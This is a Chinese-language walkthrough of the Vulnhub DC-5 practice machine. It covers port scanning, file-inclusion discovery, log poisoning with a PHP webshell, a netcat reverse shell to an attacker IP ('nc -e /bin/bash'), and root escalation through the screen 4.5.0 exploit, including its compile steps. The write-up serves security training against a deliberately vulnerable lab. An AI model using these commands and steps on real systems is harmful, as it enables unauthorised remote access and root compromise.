0x00 环境搭建
靶机地址:http://www.vulnhub.com/entry/dc-5,314/
下载之后用vmware打开即可,使用桥接模式。
开机后搭建完成:
提示本关只有一个入口点(无SSH)
0x01 主机端口探测
用arp-scan -l
探测内网存活主机,再用nmap -sV -p- ip
来探测端口:
只有80端口可以利用
0x02 web渗透
访问80端口,目录扫描没发现什么奇怪的内容:
xray 扫描发现一个phpstudy默认配置Nginx解析漏洞,但是没上传点的话好像没什么用:
发现在 contact.php 提交数据后,返回 thankyou,php 的年份会有变化:
打开footer.php,确定包含的文件时footer.php:
猜测存在文件包含漏洞,包含任意文件:
Nginx 的配置文件在
/etc/nginx/nginx.conf
,包含找到access_log
存放位置:
发现可以访问
access_log
内容:
0x03 日志包含getshell
写入一句话木马,注意不能存在分号,有分号时无法访问日志文件。
包含文件执行命令:
蚁剑连接构造 payload 反弹shell(这里执行不了bash命令):
nc -e /bin/bash 192.168.1.143 4444
攻击机监听得到shell:
0x04 提权
获取交互式shell:python -c 'import pty;pty.spawn("/bin/bash")'
查找设置了SUID的文件:find / -perm -u=s -type f 2>/dev/null
发现可使用screen
命令,查找该命令是否存在可用漏洞:
运行时报错,是因为这个shell是在windows下编写的,所以换行格式与Linux不同,运行后无法解析,要将41154.sh
文件转换成unix
下可执行文件即可正常运行:
vim 41154.sh
:set ff? # 可以看到 dos 或 unix 的字样
:set ff=unix # 强化之转为unix格式,然后存盘输出
查看 kali 的 /tmp
目录,有几个新文件生成,编译得到可执行文件:
将41154.sh
中上面一部分c语言代码另存为libhax.c
并编译:gcc -fPIC -shared -ldl -o libhax.so libhax.c
将41154.sh
中下面一部分c语言代码另存为rootshell.c
并编译:gcc -o rootshell rootshell.c
将
41154.sh
中剩下部分代码另存为dc5.sh
脚本文件并输入 :set ff=unix
,否则在执行脚本文件时后出错
将libhax.so
、rootshell
、dc5.sh
三个文件上传到服务器的/tmp目录下,为dc5.sh增加可执行权限,执行脚本:
成功提权,找到最终flag:
总结
整体流程如下:
主机发现 => 端口扫描 => 访问web服务 => 日志写入一句话木马 => 日志包含getshell => nc反弹shell => 利用screen
命令漏洞提权 => 找到flag
与DC-4一样,难点都在提权上
参考链接:
https://zhuanlan.zhihu.com/p/105623299(Vulnhub之路Ⅹ——DC-5)